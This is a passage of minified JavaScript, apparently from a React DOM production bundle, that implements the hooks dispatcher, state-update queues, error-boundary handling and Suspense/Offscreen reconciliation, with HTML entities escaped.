Tu(){va=Rs.current,Q(Hl),Q(Rs)}var At=E(null),Yt=null;function Da(e){var t=e.alternate;X(Ke,Ke.current&amp;1),X(At,e),Yt===null&amp;&amp;(t===null||Hl.current!==null||t.memoizedState!==null)&amp;&amp;(Yt=e)}function Au(e){X(Ke,Ke.current),X(At,e),Yt===null&amp;&amp;(Yt=e)}function Mo(e){e.tag===22?(X(Ke,Ke.current),X(At,e),Yt===null&amp;&amp;(Yt=e)):wa()}function wa(){X(Ke,Ke.current),X(At,At.current)}function Ct(e){Q(At),Yt===e&amp;&amp;(Yt=null),Q(Ke)}var Ke=E(0);function Os(e){for(var t=e;t!==null;){if(t.tag===13){var a=t.memoizedState;if(a!==null&amp;&amp;(a=a.dehydrated,a===null||wc(a)||Mc(a)))return t}else if(t.tag===19&amp;&amp;(t.memoizedProps.revealOrder===&quot;forwards&quot;||t.memoizedProps.revealOrder===&quot;backwards&quot;||t.memoizedProps.revealOrder===&quot;unstable_legacy-backwards&quot;||t.memoizedProps.revealOrder===&quot;together&quot;)){if((t.flags&amp;128)!==0)return t}else if(t.child!==null){t.child.return=t,t=t.child;continue}if(t===e)break;for(;t.sibling===null;){if(t.return===null||t.return===e)return null;t=t.return}t.sibling.return=t.return,t=t.sibling}return null}var ra=0,ye=null,He=null,We=null,Ds=!1,ql=!1,rl=!1,ws=0,An=0,Bl=null,b0=0;function Ze(){throw Error(r(321))}function Cu(e,t){if(t===null)return!1;for(var a=0;a&lt;t.length&amp;&amp;a&lt;e.length;a++)if(!_t(e[a],t[a]))return!1;return!0}function zu(e,t,a,l,n,i){return ra=i,ye=t,t.memoizedState=null,t.updateQueue=null,t.lanes=0,D.H=e===null||e.memoizedState===null?yf:Xu,rl=!1,i=a(l,n),rl=!1,ql&amp;&amp;(i=Ho(t,a,l,n)),Uo(e),i}function Uo(e){D.H=Rn;var t=He!==null&amp;&amp;He.next!==null;if(ra=0,We=He=ye=null,Ds=!1,An=0,Bl=null,t)throw Error(r(300));e===null||Pe||(e=e.dependencies,e!==null&amp;&amp;Ns(e)&amp;&amp;(Pe=!0))}function Ho(e,t,a,l){ye=e;var n=0;do{if(ql&amp;&amp;(Bl=null),An=0,ql=!1,25&lt;=n)throw Error(r(301));if(n+=1,We=He=null,e.updateQueue!=null){var i=e.updateQueue;i.lastEffect=null,i.events=null,i.stores=null,i.memoCache!=null&amp;&amp;(i.memoCache.index=0)}D.H=gf,i=t(a,l)}while(ql);return i}function j0(){var e=D.H,t=e.useState()[0];return t=typeof t.then==&quot;function&quot;?Cn(t):t,e=e.useState()[0],(He!==null?He.memoizedState:null)!==e&amp;&amp;(ye.flags|=1024),t}function Ru(){var e=ws!==0;return ws=0,e}function Ou(e,t,a){t.updateQueue=e.updateQueue,t.flags&amp;=-2053,e.lanes&amp;=~a}function Du(e){if(Ds){for(e=e.memoizedState;e!==null;){var t=e.queue;t!==null&amp;&amp;(t.pending=null),e=e.next}Ds=!1}ra=0,We=He=ye=null,ql=!1,An=ws=0,Bl=null}function dt(){var e={memoizedState:null,baseState:null,baseQueue:null,queue:null,next:null};return We===null?ye.memoizedState=We=e:We=We.next=e,We}function $e(){if(He===null){var e=ye.alternate;e=e!==null?e.memoizedState:null}else e=He.next;var t=We===null?ye.memoizedState:We.next;if(t!==null)We=t,He=e;else{if(e===null)throw ye.alternate===null?Error(r(467)):Error(r(310));He=e,e={memoizedState:He.memoizedState,baseState:He.baseState,baseQueue:He.baseQueue,queue:He.queue,next:null},We===null?ye.memoizedState=We=e:We=We.next=e}return We}function Ms(){return{lastEffect:null,events:null,stores:null,memoCache:null}}function Cn(e){var t=An;return An+=1,Bl===null&amp;&amp;(Bl=[]),e=To(Bl,e,t),t=ye,(We===null?t.memoizedState:We.next)===null&amp;&amp;(t=t.alternate,D.H=t===null||t.memoizedState===null?yf:Xu),e}function Us(e){if(e!==null&amp;&amp;typeof e==&quot;object&quot;){if(typeof e.then==&quot;function&quot;)return Cn(e);if(e.$$typeof===F)return ut(e)}throw Error(r(438,String(e)))}function wu(e){var t=null,a=ye.updateQueue;if(a!==null&amp;&amp;(t=a.memoCache),t==null){var l=ye.alternate;l!==null&amp;&amp;(l=l.updateQueue,l!==null&amp;&amp;(l=l.memoCache,l!=null&amp;&amp;(t={data:l.data.map(function(n){return n.slice()}),index:0})))}if(t==null&amp;&amp;(t={data:[],index:0}),a===null&amp;&amp;(a=Ms(),ye.updateQueue=a),a.memoCache=t,a=t.data[t.index],a===void 0)for(a=t.data[t.index]=Array(e),l=0;l&lt;e;l++)a[l]=W;return t.index++,a}function oa(e,t){return typeof t==&quot;function&quot;?t(e):t}function Hs(e){var t=$e();return Mu(t,He,e)}function Mu(e,t,a){var l=e.queue;if(l===null)throw Error(r(311));l.lastRenderedReducer=a;var n=e.baseQueue,i=l.pending;if(i!==null){if(n!==null){var o=n.next;n.next=i.next,i.next=o}t.baseQueue=n=i,l.pending=null}if(i=e.baseState,n===null)e.memoizedState=i;else{t=n.next;var h=o=null,j=null,C=t,M=!1;do{var V=C.lane&amp;-536870913;if(V!==C.lane?(Te&amp;V)===V:(ra&amp;V)===V){var z=C.revertLane;if(z===0)j!==null&amp;&amp;(j=j.next={lane:0,revertLane:0,gesture:null,action:C.action,hasEagerState:C.hasEagerState,eagerState:C.eagerState,next:null}),V===Dl&amp;&amp;(M=!0);else if((ra&amp;z)===z){C=C.next,z===Dl&amp;&amp;(M=!0);continue}else V={lane:0,revertLane:C.revertLane,gesture:null,action:C.action,hasEagerState:C.hasEagerState,eagerState:C.eagerState,next:null},j===null?(h=j=V,o=i):j=j.next=V,ye.lanes|=z,Ha|=z;V=C.action,rl&amp;&amp;a(i,V),i=C.hasEagerState?C.eagerState:a(i,V)}else z={lane:V,revertLane:C.revertLane,gesture:C.gesture,action:C.action,hasEagerState:C.hasEagerState,eagerState:C.eagerState,next:null},j===null?(h=j=z,o=i):j=j.next=z,ye.lanes|=V,Ha|=V;C=C.next}while(C!==null&amp;&amp;C!==t);if(j===null?o=i:j.next=h,!_t(i,e.memoizedState)&amp;&amp;(Pe=!0,M&amp;&amp;(a=wl,a!==null)))throw a;e.memoizedState=i,e.baseState=o,e.baseQueue=j,l.lastRenderedState=i}return n===null&amp;&amp;(l.lanes=0),[e.memoizedState,l.dispatch]}function Uu(e){var t=$e(),a=t.queue;if(a===null)throw Error(r(311));a.lastRenderedReducer=e;var l=a.dispatch,n=a.pending,i=t.memoizedState;if(n!==null){a.pending=null;var o=n=n.next;do i=e(i,o.action),o=o.next;while(o!==n);_t(i,t.memoizedState)||(Pe=!0),t.memoizedState=i,t.baseQueue===null&amp;&amp;(t.baseState=i),a.lastRenderedState=i}return[i,l]}function qo(e,t,a){var l=ye,n=$e(),i=Ce;if(i){if(a===void 0)throw Error(r(407));a=a()}else a=t();var o=!_t((He||n).memoizedState,a);if(o&amp;&amp;(n.memoizedState=a,Pe=!0),n=n.queue,Bu(Go.bind(null,l,n,e),[e]),n.getSnapshot!==t||o||We!==null&amp;&amp;We.memoizedState.tag&amp;1){if(l.flags|=2048,Ll(9,{destroy:void 0},Lo.bind(null,l,n,a,t),null),Le===null)throw Error(r(349));i||(ra&amp;127)!==0||Bo(l,t,a)}return a}function Bo(e,t,a){e.flags|=16384,e={getSnapshot:t,value:a},t=ye.updateQueue,t===null?(t=Ms(),ye.updateQueue=t,t.stores=[e]):(a=t.stores,a===null?t.stores=[e]:a.push(e))}function Lo(e,t,a,l){t.value=a,t.getSnapshot=l,Yo(t)&amp;&amp;ko(e)}function Go(e,t,a){return a(function(){Yo(t)&amp;&amp;ko(e)})}function Yo(e){var t=e.getSnapshot;e=e.value;try{var a=t();return!_t(e,a)}catch{return!0}}function ko(e){var t=el(e,2);t!==null&amp;&amp;bt(t,e,2)}function Hu(e){var t=dt();if(typeof e==&quot;function&quot;){var a=e;if(e=a(),rl){Sa(!0);try{a()}finally{Sa(!1)}}}return t.memoizedState=t.baseState=e,t.queue={pending:null,lanes:0,dispatch:null,lastRenderedReducer:oa,lastRenderedState:e},t}function Qo(e,t,a,l){return e.baseState=a,Mu(e,He,typeof l==&quot;function&quot;?l:oa)}function S0(e,t,a,l,n){if(Ls(e))throw Error(r(485));if(e=t.action,e!==null){var i={payload:n,action:e,next:null,isTransition:!0,status:&quot;pending&quot;,value:null,reason:null,listeners:[],then:function(o){i.listeners.push(o)}};D.T!==null?a(!0):i.isTransition=!1,l(i),a=t.pending,a===null?(i.next=t.pending=i,Xo(t,i)):(i.next=a.next,t.pending=a.next=i)}}function Xo(e,t){var a=t.action,l=t.payload,n=e.state;if(t.isTransition){var i=D.T,o={};D.T=o;try{var h=a(n,l),j=D.S;j!==null&amp;&amp;j(o,h),Vo(e,t,h)}catch(C){qu(e,t,C)}finally{i!==null&amp;&amp;o.types!==null&amp;&amp;(i.types=o.types),D.T=i}}else try{i=a(n,l),Vo(e,t,i)}catch(C){qu(e,t,C)}}function Vo(e,t,a){a!==null&amp;&amp;typeof a==&quot;object&quot;&amp;&amp;typeof a.then==&quot;function&quot;?a.then(function(l){Zo(e,t,l)},function(l){return qu(e,t,l)}):Zo(e,t,a)}function Zo(e,t,a){t.status=&quot;fulfilled&quot;,t.value=a,Jo(t),e.state=a,t=e.pending,t!==null&amp;&amp;(a=t.next,a===t?e.pending=null:(a=a.next,t.next=a,Xo(e,a)))}function qu(e,t,a){var l=e.pending;if(e.pending=null,l!==null){l=l.next;do t.status=&quot;rejected&quot;,t.reason=a,Jo(t),t=t.next;while(t!==l)}e.action=null}function Jo(e){e=e.listeners;for(var t=0;t&lt;e.length;t++)(0,e[t])()}function Ko(e,t){return t}function $o(e,t){if(Ce){var a=Le.formState;if(a!==null){e:{var l=ye;if(Ce){if(Ye){t:{for(var n=Ye,i=Gt;n.nodeType!==8;){if(!i){n=null;break t}if(n=kt(n.nextSibling),n===null){n=null;break t}}i=n.data,n=i===&quot;F!&quot;||i===&quot;F&quot;?n:null}if(n){Ye=kt(n.nextSibling),l=n.data===&quot;F!&quot;;break e}}Aa(l)}l=!1}l&amp;&amp;(t=a[0])}}return a=dt(),a.memoizedState=a.baseState=t,l={pending:null,lanes:0,dispatch:null,lastRenderedReducer:Ko,lastRenderedState:t},a.queue=l,a=pf.bind(null,ye,l),l.dispatch=a,l=Hu(!1),i=Qu.bind(null,ye,!1,l.queue),l=dt(),n={state:t,dispatch:null,action:e,pending:null},l.queue=n,a=S0.bind(null,ye,n,i,a),n.dispatch=a,l.memoizedState=e,[t,a,!1]}function Fo(e){var t=$e();return Wo(t,He,e)}function Wo(e,t,a){if(t=Mu(e,t,Ko)[0],e=Hs(oa)[0],typeof t==&quot;object&quot;&amp;&amp;t!==null&amp;&amp;typeof t.then==&quot;function&quot;)try{var l=Cn(t)}catch(o){throw o===Ml?Ts:o}else l=t;t=$e();var n=t.queue,i=n.dispatch;return a!==t.memoizedState&amp;&amp;(ye.flags|=2048,Ll(9,{destroy:void 0},N0.bind(null,n,a),null)),[l,i,e]}function N0(e,t){e.action=t}function Po(e){var t=$e(),a=He;if(a!==null)return Wo(t,a,e);$e(),t=t.memoizedState,a=$e();var l=a.queue.dispatch;return a.memoizedState=e,[t,l,!1]}function Ll(e,t,a,l){return e={tag:e,create:a,deps:l,inst:t,next:null},t=ye.updateQueue,t===null&amp;&amp;(t=Ms(),ye.updateQueue=t),a=t.lastEffect,a===null?t.lastEffect=e.next=e:(l=a.next,a.next=e,e.next=l,t.lastEffect=e),e}function Io(){return $e().memoizedState}function qs(e,t,a,l){var n=dt();ye.flags|=e,n.memoizedState=Ll(1|t,{destroy:void 0},a,l===void 0?null:l)}function Bs(e,t,a,l){var n=$e();l=l===void 0?null:l;var i=n.memoizedState.inst;He!==null&amp;&amp;l!==null&amp;&amp;Cu(l,He.memoizedState.deps)?n.memoizedState=Ll(t,i,a,l):(ye.flags|=e,n.memoizedState=Ll(1|t,i,a,l))}function ef(e,t){qs(8390656,8,e,t)}function Bu(e,t){Bs(2048,8,e,t)}function E0(e){ye.flags|=4;var t=ye.updateQueue;if(t===null)t=Ms(),ye.updateQueue=t,t.events=[e];else{var a=t.events;a===null?t.events=[e]:a.push(e)}}function tf(e){var t=$e().memoizedState;return E0({ref:t,nextImpl:e}),function(){if((De&amp;2)!==0)throw Error(r(440));return t.impl.apply(void 0,arguments)}}function af(e,t){return Bs(4,2,e,t)}function lf(e,t){return Bs(4,4,e,t)}function nf(e,t){if(typeof t==&quot;function&quot;){e=e();var a=t(e);return function(){typeof a==&quot;function&quot;?a():t(null)}}if(t!=null)return e=e(),t.current=e,function(){t.current=null}}function sf(e,t,a){a=a!=null?a.concat([e]):null,Bs(4,4,nf.bind(null,t,e),a)}function Lu(){}function uf(e,t){var a=$e();t=t===void 0?null:t;var l=a.memoizedState;return t!==null&amp;&amp;Cu(t,l[1])?l[0]:(a.memoizedState=[e,t],e)}function cf(e,t){var a=$e();t=t===void 0?null:t;var l=a.memoizedState;if(t!==null&amp;&amp;Cu(t,l[1]))return l[0];if(l=e(),rl){Sa(!0);try{e()}finally{Sa(!1)}}return a.memoizedState=[l,t],l}function Gu(e,t,a){return a===void 0||(ra&amp;1073741824)!==0&amp;&amp;(Te&amp;261930)===0?e.memoizedState=t:(e.memoizedState=a,e=rd(),ye.lanes|=e,Ha|=e,a)}function rf(e,t,a,l){return _t(a,t)?a:Hl.current!==null?(e=Gu(e,a,l),_t(e,t)||(Pe=!0),e):(ra&amp;42)===0||(ra&amp;1073741824)!==0&amp;&amp;(Te&amp;261930)===0?(Pe=!0,e.memoizedState=a):(e=rd(),ye.lanes|=e,Ha|=e,t)}function of(e,t,a,l,n){var i=G.p;G.p=i!==0&amp;&amp;8&gt;i?i:8;var o=D.T,h={};D.T=h,Qu(e,!1,t,a);try{var j=n(),C=D.S;if(C!==null&amp;&amp;C(h,j),j!==null&amp;&amp;typeof j==&quot;object&quot;&amp;&amp;typeof j.then==&quot;function&quot;){var M=g0(j,l);zn(e,t,M,Ot(e))}else zn(e,t,l,Ot(e))}catch(V){zn(e,t,{then:function(){},status:&quot;rejected&quot;,reason:V},Ot())}finally{G.p=i,o!==null&amp;&amp;h.types!==null&amp;&amp;(o.types=h.types),D.T=o}}function _0(){}function Yu(e,t,a,l){if(e.tag!==5)throw Error(r(476));var n=ff(e).queue;of(e,n,t,ie,a===null?_0:function(){return df(e),a(l)})}function ff(e){var t=e.memoizedState;if(t!==null)return t;t={memoizedState:ie,baseState:ie,baseQueue:null,queue:{pending:null,lanes:0,dispatch:null,lastRenderedReducer:oa,lastRenderedState:ie},next:null};var a={};return t.next={memoizedState:a,baseState:a,baseQueue:null,queue:{pending:null,lanes:0,dispatch:null,lastRenderedReducer:oa,lastRenderedState:a},next:null},e.memoizedState=t,e=e.alternate,e!==null&amp;&amp;(e.memoizedState=t),t}function df(e){var t=ff(e);t.next===null&amp;&amp;(t=e.alternate.memoizedState),zn(e,t.next.queue,{},Ot())}function ku(){return ut(Zn)}function mf(){return $e().memoizedState}function hf(){return $e().memoizedState}function T0(e){for(var t=e.return;t!==null;){switch(t.tag){case 24:case 3:var a=Ot();e=Ra(a);var l=Oa(t,e,a);l!==null&amp;&amp;(bt(l,t,a),En(l,t,a)),t={cache:vu()},e.payload=t;return}t=t.return}}function A0(e,t,a){var l=Ot();a={lane:l,revertLane:0,gesture:null,action:a,hasEagerState:!1,eagerState:null,next:null},Ls(e)?xf(t,a):(a=iu(e,t,a,l),a!==null&amp;&amp;(bt(a,e,l),vf(a,t,l)))}function pf(e,t,a){var l=Ot();zn(e,t,a,l)}function zn(e,t,a,l){var n={lane:l,revertLane:0,gesture:null,action:a,hasEagerState:!1,eagerState:null,next:null};if(Ls(e))xf(t,n);else{var i=e.alternate;if(e.lanes===0&amp;&amp;(i===null||i.lanes===0)&amp;&amp;(i=t.lastRenderedReducer,i!==null))try{var o=t.lastRenderedState,h=i(o,a);if(n.hasEagerState=!0,n.eagerState=h,_t(h,o))return gs(e,t,n,0),Le===null&amp;&amp;ys(),!1}catch{}finally{}if(a=iu(e,t,n,l),a!==null)return bt(a,e,l),vf(a,t,l),!0}return!1}function Qu(e,t,a,l){if(l={lane:2,revertLane:jc(),gesture:null,action:l,hasEagerState:!1,eagerState:null,next:null},Ls(e)){if(t)throw Error(r(479))}else t=iu(e,a,l,2),t!==null&amp;&amp;bt(t,e,2)}function Ls(e){var t=e.alternate;return e===ye||t!==null&amp;&amp;t===ye}function xf(e,t){ql=Ds=!0;var a=e.pending;a===null?t.next=t:(t.next=a.next,a.next=t),e.pending=t}function vf(e,t,a){if((a&amp;4194048)!==0){var l=t.lanes;l&amp;=e.pendingLanes,a|=l,t.lanes=a,br(e,a)}}var Rn={readContext:ut,use:Us,useCallback:Ze,useContext:Ze,useEffect:Ze,useImperativeHandle:Ze,useLayoutEffect:Ze,useInsertionEffect:Ze,useMemo:Ze,useReducer:Ze,useRef:Ze,useState:Ze,useDebugValue:Ze,useDeferredValue:Ze,useTransition:Ze,useSyncExternalStore:Ze,useId:Ze,useHostTransitionStatus:Ze,useFormState:Ze,useActionState:Ze,useOptimistic:Ze,useMemoCache:Ze,useCacheRefresh:Ze};Rn.useEffectEvent=Ze;var yf={readContext:ut,use:Us,useCallback:function(e,t){return dt().memoizedState=[e,t===void 0?null:t],e},useContext:ut,useEffect:ef,useImperativeHandle:function(e,t,a){a=a!=null?a.concat([e]):null,qs(4194308,4,nf.bind(null,t,e),a)},useLayoutEffect:function(e,t){return qs(4194308,4,e,t)},useInsertionEffect:function(e,t){qs(4,2,e,t)},useMemo:function(e,t){var a=dt();t=t===void 0?null:t;var l=e();if(rl){Sa(!0);try{e()}finally{Sa(!1)}}return a.memoizedState=[l,t],l},useReducer:function(e,t,a){var l=dt();if(a!==void 0){var n=a(t);if(rl){Sa(!0);try{a(t)}finally{Sa(!1)}}}else n=t;return l.memoizedState=l.baseState=n,e={pending:null,lanes:0,dispatch:null,lastRenderedReducer:e,lastRenderedState:n},l.queue=e,e=e.dispatch=A0.bind(null,ye,e),[l.memoizedState,e]},useRef:function(e){var t=dt();return e={current:e},t.memoizedState=e},useState:function(e){e=Hu(e);var t=e.queue,a=pf.bind(null,ye,t);return t.dispatch=a,[e.memoizedState,a]},useDebugValue:Lu,useDeferredValue:function(e,t){var a=dt();return Gu(a,e,t)},useTransition:function(){var e=Hu(!1);return e=of.bind(null,ye,e.queue,!0,!1),dt().memoizedState=e,[!1,e]},useSyncExternalStore:function(e,t,a){var l=ye,n=dt();if(Ce){if(a===void 0)throw Error(r(407));a=a()}else{if(a=t(),Le===null)throw Error(r(349));(Te&amp;127)!==0||Bo(l,t,a)}n.memoizedState=a;var i={value:a,getSnapshot:t};return n.queue=i,ef(Go.bind(null,l,i,e),[e]),l.flags|=2048,Ll(9,{destroy:void 0},Lo.bind(null,l,i,a,t),null),a},useId:function(){var e=dt(),t=Le.identifierPrefix;if(Ce){var a=Wt,l=Ft;a=(l&amp;~(1&lt;&lt;32-Et(l)-1)).toString(32)+a,t=&quot;_&quot;+t+&quot;R_&quot;+a,a=ws++,0&lt;a&amp;&amp;(t+=&quot;H&quot;+a.toString(32)),t+=&quot;_&quot;}else a=b0++,t=&quot;_&quot;+t+&quot;r_&quot;+a.toString(32)+&quot;_&quot;;return e.memoizedState=t},useHostTransitionStatus:ku,useFormState:$o,useActionState:$o,useOptimistic:function(e){var t=dt();t.memoizedState=t.baseState=e;var a={pending:null,lanes:0,dispatch:null,lastRenderedReducer:null,lastRenderedState:null};return t.queue=a,t=Qu.bind(null,ye,!0,a),a.dispatch=t,[e,t]},useMemoCache:wu,useCacheRefresh:function(){return dt().memoizedState=T0.bind(null,ye)},useEffectEvent:function(e){var t=dt(),a={impl:e};return t.memoizedState=a,function(){if((De&amp;2)!==0)throw Error(r(440));return a.impl.apply(void 0,arguments)}}},Xu={readContext:ut,use:Us,useCallback:uf,useContext:ut,useEffect:Bu,useImperativeHandle:sf,useInsertionEffect:af,useLayoutEffect:lf,useMemo:cf,useReducer:Hs,useRef:Io,useState:function(){return Hs(oa)},useDebugValue:Lu,useDeferredValue:function(e,t){var a=$e();return rf(a,He.memoizedState,e,t)},useTransition:function(){var e=Hs(oa)[0],t=$e().memoizedState;return[typeof e==&quot;boolean&quot;?e:Cn(e),t]},useSyncExternalStore:qo,useId:mf,useHostTransitionStatus:ku,useFormState:Fo,useActionState:Fo,useOptimistic:function(e,t){var a=$e();return Qo(a,He,e,t)},useMemoCache:wu,useCacheRefresh:hf};Xu.useEffectEvent=tf;var gf={readContext:ut,use:Us,useCallback:uf,useContext:ut,useEffect:Bu,useImperativeHandle:sf,useInsertionEffect:af,useLayoutEffect:lf,useMemo:cf,useReducer:Uu,useRef:Io,useState:function(){return Uu(oa)},useDebugValue:Lu,useDeferredValue:function(e,t){var a=$e();return He===null?Gu(a,e,t):rf(a,He.memoizedState,e,t)},useTransition:function(){var e=Uu(oa)[0],t=$e().memoizedState;return[typeof e==&quot;boolean&quot;?e:Cn(e),t]},useSyncExternalStore:qo,useId:mf,useHostTransitionStatus:ku,useFormState:Po,useActionState:Po,useOptimistic:function(e,t){var a=$e();return He!==null?Qo(a,He,e,t):(a.baseState=e,[e,a.queue.dispatch])},useMemoCache:wu,useCacheRefresh:hf};gf.useEffectEvent=tf;function Vu(e,t,a,l){t=e.memoizedState,a=a(l,t),a=a==null?t:b({},t,a),e.memoizedState=a,e.lanes===0&amp;&amp;(e.updateQueue.baseState=a)}var Zu={enqueueSetState:function(e,t,a){e=e._reactInternals;var l=Ot(),n=Ra(l);n.payload=t,a!=null&amp;&amp;(n.callback=a),t=Oa(e,n,l),t!==null&amp;&amp;(bt(t,e,l),En(t,e,l))},enqueueReplaceState:function(e,t,a){e=e._reactInternals;var l=Ot(),n=Ra(l);n.tag=1,n.payload=t,a!=null&amp;&amp;(n.callback=a),t=Oa(e,n,l),t!==null&amp;&amp;(bt(t,e,l),En(t,e,l))},enqueueForceUpdate:function(e,t){e=e._reactInternals;var a=Ot(),l=Ra(a);l.tag=2,t!=null&amp;&amp;(l.callback=t),t=Oa(e,l,a),t!==null&amp;&amp;(bt(t,e,a),En(t,e,a))}};function bf(e,t,a,l,n,i,o){return e=e.stateNode,typeof e.shouldComponentUpdate==&quot;function&quot;?e.shouldComponentUpdate(l,i,o):t.prototype&amp;&amp;t.prototype.isPureReactComponent?!xn(a,l)||!xn(n,i):!0}function jf(e,t,a,l){e=t.state,typeof t.componentWillReceiveProps==&quot;function&quot;&amp;&amp;t.componentWillReceiveProps(a,l),typeof t.UNSAFE_componentWillReceiveProps==&quot;function&quot;&amp;&amp;t.UNSAFE_componentWillReceiveProps(a,l),t.state!==e&amp;&amp;Zu.enqueueReplaceState(t,t.state,null)}function ol(e,t){var a=t;if(&quot;ref&quot;in t){a={};for(var l in t)l!==&quot;ref&quot;&amp;&amp;(a[l]=t[l])}if(e=e.defaultProps){a===t&amp;&amp;(a=b({},a));for(var n in e)a[n]===void 0&amp;&amp;(a[n]=e[n])}return a}function Sf(e){vs(e)}function Nf(e){console.error(e)}function Ef(e){vs(e)}function Gs(e,t){try{var a=e.onUncaughtError;a(t.value,{componentStack:t.stack})}catch(l){setTimeout(function(){throw l})}}function _f(e,t,a){try{var l=e.onCaughtError;l(a.value,{componentStack:a.stack,errorBoundary:t.tag===1?t.stateNode:null})}catch(n){setTimeout(function(){throw n})}}function Ju(e,t,a){return a=Ra(a),a.tag=3,a.payload={element:null},a.callback=function(){Gs(e,t)},a}function Tf(e){return e=Ra(e),e.tag=3,e}function Af(e,t,a,l){var n=a.type.getDerivedStateFromError;if(typeof n==&quot;function&quot;){var i=l.value;e.payload=function(){return n(i)},e.callback=function(){_f(t,a,l)}}var o=a.stateNode;o!==null&amp;&amp;typeof o.componentDidCatch==&quot;function&quot;&amp;&amp;(e.callback=function(){_f(t,a,l),typeof n!=&quot;function&quot;&amp;&amp;(qa===null?qa=new Set([this]):qa.add(this));var h=l.stack;this.componentDidCatch(l.value,{componentStack:h!==null?h:&quot;&quot;})})}function C0(e,t,a,l,n){if(a.flags|=32768,l!==null&amp;&amp;typeof l==&quot;object&quot;&amp;&amp;typeof l.then==&quot;function&quot;){if(t=a.alternate,t!==null&amp;&amp;Ol(t,a,n,!0),a=At.current,a!==null){switch(a.tag){case 31:case 13:return Yt===null?Ps():a.alternate===null&amp;&amp;Je===0&amp;&amp;(Je=3),a.flags&amp;=-257,a.flags|=65536,a.lanes=n,l===As?a.flags|=16384:(t=a.updateQueue,t===null?a.updateQueue=new Set([l]):t.add(l),yc(e,l,n)),!1;case 22:return a.flags|=65536,l===As?a.flags|=16384:(t=a.updateQueue,t===null?(t={transitions:null,markerInstances:null,retryQueue:new Set([l])},a.updateQueue=t):(a=t.retryQueue,a===null?t.retryQueue=new Set([l]):a.add(l)),yc(e,l,n)),!1}throw Error(r(435,a.tag))}return yc(e,l,n),Ps(),!1}if(Ce)return t=At.current,t!==null?((t.flags&amp;65536)===0&amp;&amp;(t.flags|=256),t.flags|=65536,t.lanes=n,l!==du&amp;&amp;(e=Error(r(422),{cause:l}),gn(qt(e,a)))):(l!==du&amp;&amp;(t=Error(r(423),{cause:l}),gn(qt(t,a))),e=e.current.alternate,e.flags|=65536,n&amp;=-n,e.lanes|=n,l=qt(l,a),n=Ju(e.stateNode,l,n),Nu(e,n),Je!==4&amp;&amp;(Je=2)),!1;var i=Error(r(520),{cause:l});if(i=qt(i,a),Bn===null?Bn=[i]:Bn.push(i),Je!==4&amp;&amp;(Je=2),t===null)return!0;l=qt(l,a),a=t;do{switch(a.tag){case 3:return a.flags|=65536,e=n&amp;-n,a.lanes|=e,e=Ju(a.stateNode,l,e),Nu(a,e),!1;case 1:if(t=a.type,i=a.stateNode,(a.flags&amp;128)===0&amp;&amp;(typeof t.getDerivedStateFromError==&quot;function&quot;||i!==null&amp;&amp;typeof i.componentDidCatch==&quot;function&quot;&amp;&amp;(qa===null||!qa.has(i))))return a.flags|=65536,n&amp;=-n,a.lanes|=n,n=Tf(n),Af(n,e,a,l),Nu(a,n),!1}a=a.return}while(a!==null);return!1}var Ku=Error(r(461)),Pe=!1;function ct(e,t,a,l){t.child=e===null?Ro(t,null,a,l):cl(t,e.child,a,l)}function Cf(e,t,a,l,n){a=a.render;var i=t.ref;if(&quot;ref&quot;in l){var o={};for(var h in l)h!==&quot;ref&quot;&amp;&amp;(o[h]=l[h])}else o=l;return nl(t),l=zu(e,t,a,o,i,n),h=Ru(),e!==null&amp;&amp;!Pe?(Ou(e,t,n),fa(e,t,n)):(Ce&amp;&amp;h&amp;&amp;ou(t),t.flags|=1,ct(e,t,l,n),t.child)}function zf(e,t,a,l,n){if(e===null){var i=a.type;return typeof i==&quot;function&quot;&amp;&amp;!uu(i)&amp;&amp;i.defaultProps===void 0&amp;&amp;a.compare===null?(t.tag=15,t.type=i,Rf(e,t,i,l,n)):(e=js(a.type,null,l,t,t.mode,n),e.ref=t.ref,e.return=t,t.child=e)}if(i=e.child,!ac(e,n)){var o=i.memoizedProps;if(a=a.compare,a=a!==null?a:xn,a(o,l)&amp;&amp;e.ref===t.ref)return fa(e,t,n)}return t.flags|=1,e=sa(i,l),e.ref=t.ref,e.return=t,t.child=e}function Rf(e,t,a,l,n){if(e!==null){var i=e.memoizedProps;if(xn(i,l)&amp;&amp;e.ref===t.ref)if(Pe=!1,t.pendingProps=l=i,ac(e,n))(e.flags&amp;131072)!==0&amp;&amp;(Pe=!0);else return t.lanes=e.lanes,fa(e,t,n)}return $u(e,t,a,l,n)}function Of(e,t,a,l){var n=l.children,i=e!==null?e.memoizedState:null;if(e===null&amp;&amp;t.stateNode===null&amp;&amp;(t.stateNode={_visibility:1,_pendingMarkers:null,_retryCache:null,_transitions:null}),l.mode===&quot;hidden&quot;){if((t.flags&amp;128)!==0){if(i=i!==null?i.baseLanes|a:a,e!==null){for(l=t.child=e.child,n=0;l!==null;)n=n|l.lanes|l.childLanes,l=l.sibling;l=n&amp;~i}else l=0,t.child=null;return Df(e,t,i,a,l)}if((a&amp;536870912)!==0)t.memoizedState={baseLanes:0,cachePool:null},e!==null&amp;&amp;_s(t,i!==null?i.cachePool:null),i!==null?wo(t,i):_u(),Mo(t);else return l=t.lanes=536870912,Df(e,t,i!==null?i.baseLanes|a:a,a,l)}else i!==null?(_s(t,i.cachePool),wo(t,i),wa(),t.memoizedState=null):(e!==null&amp;&amp;_s(t,null),_u(),wa());return ct(e,t,n,a),t.child}function On(e,t){return e!==null&amp;&amp;e.tag===22||t.stateNode!==null||(t.stateNode={_visibility:1,_pendingMarkers:null,_retryCache:null,_transitions:null}),t.sibling}function Df(e,t,a,l,n){var i=gu();return i=i===null?null:{parent:Fe._currentValue,pool:i},t.memoizedState={baseLanes:a,cachePool:i},e!==null&amp;&amp;_s(t,null),_u(),Mo(t),e!==null&amp;&amp;Ol(e,t,l,!0),t.childLanes=n,null}function Ys(e,t){return t=Qs({mode:t.mode,children:t.children},e.mode),t.ref=e.ref,e.child=t,t.return=e,t}function wf(e,t,a){return cl(t,e.child,null,a),e=Ys(t,t.pendingProps),e.flags|=2,Ct(t),t.memoizedState=null,e}function z0(e,t,a){var l=t.pendingProps,n=(t.flags&amp;128)!==0;if(t.flags&amp;=-129,e===null){if(Ce){if(l.mode===&quot;hidden&quot;)return e=Ys(t,l),t.lanes=536870912,On(null,e);if(Au(t),(e=Ye)?(e=Vd(e,Gt),e=e!==null&amp;&amp;e.data===&quot;&amp;&quot;?e:null,e!==null&amp;&amp;(t.memoizedState={dehydrated:e,treeContext:_a!==null?{id:Ft,overflow:Wt}:null,retryLane:536870912,hydrationErrors:null},a=po(e),a.return=t,t.child=a,it=t,Ye=null)):e=null,e===null)throw Aa(t);return t.lanes=536870912,null}return Ys(t,l)}var 